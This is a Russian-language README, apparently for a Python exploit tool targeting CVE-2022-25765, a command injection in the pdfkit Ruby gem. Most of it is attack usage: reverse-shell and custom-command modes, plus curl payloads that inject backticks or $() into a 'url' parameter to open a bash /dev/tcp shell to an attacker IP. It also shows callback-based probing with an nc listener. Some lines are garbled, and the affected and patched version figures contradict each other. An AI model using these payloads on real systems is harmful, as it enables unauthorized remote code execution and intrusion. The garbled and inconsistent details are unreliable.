
Python эксплойт для CVE-2022-25765 — внедрение команд в pdfkit, позволяющий удаленное выполнение кода через специально созданные URL с режимами обратной оболочки и пользовательских команд.
CVE-2022-25765 — это уязвимость внедрения команд (Command Injection), затрагивающая pdfkit (Ruby gem) в версиях < 0.8.7.2. Уязвимость имеет КРИТИЧЕСКУЮ степень опасности с CVSS 9.8, так как позволяет удаленное выполнение команд без аутентификации.
Проблема заключается в том, что pdfkit передает параметр url напрямую в оболочку без очистки. Библиотека внутренне запускает wkhtmltopdf с командой вида:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
Если URL содержит %20 (пробел в URL-кодировке), за которым следуют обратные кавычки ` или $(), оболочка интерпретирует содержимое как команду и выполняет ее.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Уязвимый код в pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
URL напрямую интерполируется в команду оболочки без очистки. Включение %20 (пробела) позволяет содержимому после пробела выйти из контекста аргумента wkhtmltopdf, а \`` или $()` позволяет выполнить произвольные команды.
UNICORDev (@NicPWNs и @Dev-Yeoj)
Оригинальный эксплоит находится по адресу:
requests, urllib3pip install -r requirements.txt
# Пользовательский режим команды (генерирует payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Режим reverse shell (генерирует payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Веб-режим — отправка команды непосредственно на уязвимый сайт
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Веб-режим — прямой reverse shell на уязвимый сайт
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Справка
python3 exploit-CVE-2022-25765.py -h
# Инъекция через curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# Или используя $() вместо обратных кавычек
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Простая команда
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
Чтобы определить, уязвим ли сервер:
Creator: pdfkit v0.8.6# Отправка URL и получение callback
curl -X POST http://target.com/ -d "url=http://ТВОЙ_IP:4444/test"
# Слушатель: nc -lnvp 4444
# Если получен запрос с User-Agent: wkhtmltopdf, приложение конвертирует PDF
# Проверка версии в метаданных PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Искать: "Generated by pdfkit v0.8.6" (уязвимая)
url от опасных символов (\``, $(), %20`)| Поле | Значение |
|---|
| CVE | CVE-2022-25765 |
| Продукт | pdfkit (Ruby gem) |
| Затронутые версии | 0.0.0 – 0.8.7.2 |
| Тип | Command Injection (CWE-78) |
| Аутентификация | Не требуется |
| CVSS 3.1 | 9.8 CRITICAL |
| Патч | pdfkit ≥ 0.8.7.2 |
| Параметр | Описание |
|---|
-c | Пользовательская команда |
-s <IP> <PORT> | Режим reverse shell |
-w <URL> | URL уязвимого веб-сайта (опционально) |
-p <param> | POST-параметр (опционально, по умолчанию: url) |
-h | Справка |